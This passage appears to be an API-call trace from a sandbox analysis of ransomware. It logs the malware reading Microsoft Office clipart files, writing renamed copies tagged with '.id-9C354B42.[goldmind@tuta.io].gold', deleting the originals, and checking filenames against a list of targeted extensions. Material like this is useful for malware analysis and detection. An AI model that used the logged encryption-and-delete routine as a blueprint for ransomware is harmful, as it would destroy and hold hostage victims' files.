[0090.595] ReadFile (in: hFile=0x38c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xa79c, lpOverlapped=0x0) returned 1 [0090.605] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xa7a0, lpOverlapped=0x0) returned 1 [0090.606] ReadFile (in: hFile=0x38c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.606] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.606] SetEndOfFile (hFile=0x194) returned 1 [0090.608] CloseHandle (hObject=0x194) returned 1 [0090.609] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.609] SetEndOfFile (hFile=0x38c) returned 1 [0090.615] CloseHandle (hObject=0x38c) returned 1 [0090.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.640] lstrlenW (lpString=".doc") returned 4 [0090.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".docx") returned 5 [0090.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.640] lstrlenW (lpString=".pdf") returned 4 [0090.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".xls") returned 4 [0090.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.640] lstrlenW (lpString=".xlsx") returned 5 [0090.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.640] lstrlenW (lpString=".ppt") returned 4 [0090.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.640] lstrlenW (lpString=".zip") returned 4 [0090.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.640] lstrlenW (lpString=".rar") returned 4 [0090.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".bz2") returned 4 [0090.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".7z") returned 3 [0090.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.640] lstrlenW (lpString=".dbf") returned 4 [0090.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.640] lstrlenW (lpString=".1cd") returned 4 [0090.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.640] lstrlenW (lpString=".jpg") returned 4 [0090.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.640] lstrlenW (lpString=".doc") returned 4 [0090.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".docx") returned 5 [0090.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.641] lstrlenW (lpString=".pdf") returned 4 [0090.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString=".xls") returned 4 [0090.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.641] lstrlenW (lpString=".xlsx") returned 5 [0090.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.641] lstrlenW (lpString=".ppt") returned 4 [0090.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.641] lstrlenW (lpString=".zip") returned 4 [0090.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.641] lstrlenW (lpString=".rar") returned 4 [0090.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString=".bz2") returned 4 [0090.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString=".7z") returned 3 [0090.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.641] lstrlenW (lpString=".dbf") returned 4 [0090.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.641] lstrlenW (lpString=".1cd") returned 4 [0090.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0090.641] lstrlenW (lpString=".jpg") returned 4 [0090.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.641] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.641] lstrlenW (lpString="DD00419_.WMF") returned 12 [0090.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0090.644] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=712) returned 1 [0090.644] CloseHandle (hObject=0x364) returned 1 [0090.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0090.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0090.644] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.644] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.645] GetLastError () returned 0x0 [0090.645] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2c8, lpOverlapped=0x0) returned 1 [0090.646] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0090.648] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.648] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.648] SetEndOfFile (hFile=0x19c) returned 1 [0090.648] CloseHandle (hObject=0x19c) returned 1 [0090.648] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.648] SetEndOfFile (hFile=0x364) returned 1 [0090.650] CloseHandle (hObject=0x364) returned 1 [0090.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString=".doc") returned 4 [0090.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString=".docx") returned 5 [0090.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.652] lstrlenW (lpString=".pdf") returned 4 [0090.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString=".xls") returned 4 [0090.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.652] lstrlenW (lpString=".xlsx") returned 5 [0090.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.652] lstrlenW (lpString=".ppt") returned 4 [0090.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString=".zip") returned 4 [0090.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.652] lstrlenW (lpString=".rar") returned 4 [0090.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString=".bz2") returned 4 [0090.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString=".7z") returned 3 [0090.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString=".dbf") returned 4 [0090.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString=".1cd") returned 4 [0090.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString=".jpg") returned 4 [0090.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString=".doc") returned 4 [0090.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString=".docx") returned 5 [0090.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.652] lstrlenW (lpString=".pdf") returned 4 [0090.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString=".xls") returned 4 [0090.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.652] lstrlenW (lpString=".xlsx") returned 5 [0090.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.652] lstrlenW (lpString=".ppt") returned 4 [0090.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.652] lstrlenW (lpString=".zip") returned 4 [0090.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.652] lstrlenW (lpString=".rar") returned 4 [0090.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.652] lstrlenW (lpString=".bz2") returned 4 [0090.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.653] lstrlenW (lpString=".7z") returned 3 [0090.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.653] lstrlenW (lpString=".dbf") returned 4 [0090.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.653] lstrlenW (lpString=".1cd") returned 4 [0090.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0090.653] lstrlenW (lpString=".jpg") returned 4 [0090.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.653] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.653] lstrlenW (lpString="DD00437_.WMF") returned 12 [0090.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0090.653] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1932) returned 1 [0090.653] CloseHandle (hObject=0x364) returned 1 [0090.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0090.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0090.654] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.654] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.654] GetLastError () returned 0x0 [0090.654] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x78c, lpOverlapped=0x0) returned 1 [0090.706] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x790, lpOverlapped=0x0) returned 1 [0090.707] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.707] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.707] SetEndOfFile (hFile=0x19c) returned 1 [0090.712] CloseHandle (hObject=0x19c) returned 1 [0090.713] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.713] SetEndOfFile (hFile=0x364) returned 1 [0090.715] CloseHandle (hObject=0x364) returned 1 [0090.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0090.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.891] lstrlenW (lpString=".doc") returned 4 [0090.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.891] lstrlenW (lpString=".docx") returned 5 [0090.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.891] lstrlenW (lpString=".pdf") returned 4 [0090.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString=".xls") returned 4 [0090.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.892] lstrlenW (lpString=".xlsx") returned 5 [0090.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.892] lstrlenW (lpString=".ppt") returned 4 [0090.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString=".zip") returned 4 [0090.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.892] lstrlenW (lpString=".rar") returned 4 [0090.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString=".bz2") returned 4 [0090.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString=".7z") returned 3 [0090.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString=".dbf") returned 4 [0090.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString=".1cd") returned 4 [0090.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString=".jpg") returned 4 [0090.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString=".doc") returned 4 [0090.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString=".docx") returned 5 [0090.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.892] lstrlenW (lpString=".pdf") returned 4 [0090.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString=".xls") returned 4 [0090.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.892] lstrlenW (lpString=".xlsx") returned 5 [0090.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.892] lstrlenW (lpString=".ppt") returned 4 [0090.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString=".zip") returned 4 [0090.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.892] lstrlenW (lpString=".rar") returned 4 [0090.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString=".bz2") returned 4 [0090.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString=".7z") returned 3 [0090.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString=".dbf") returned 4 [0090.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.892] lstrlenW (lpString=".1cd") returned 4 [0090.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0090.893] lstrlenW (lpString=".jpg") returned 4 [0090.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.893] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.893] lstrlenW (lpString="DD00687_.WMF") returned 12 [0090.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.894] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=20784) returned 1 [0090.894] CloseHandle (hObject=0x394) returned 1 [0090.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0090.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.894] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.894] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.895] GetLastError () returned 0x0 [0090.895] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5130, lpOverlapped=0x0) returned 1 [0090.899] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5140, lpOverlapped=0x0) returned 1 [0090.900] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, 